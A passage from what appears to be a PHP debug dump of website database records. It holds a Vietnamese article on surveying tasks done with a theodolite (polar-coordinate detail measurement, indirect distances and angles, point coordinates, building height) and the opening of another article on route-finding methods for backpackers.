cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người 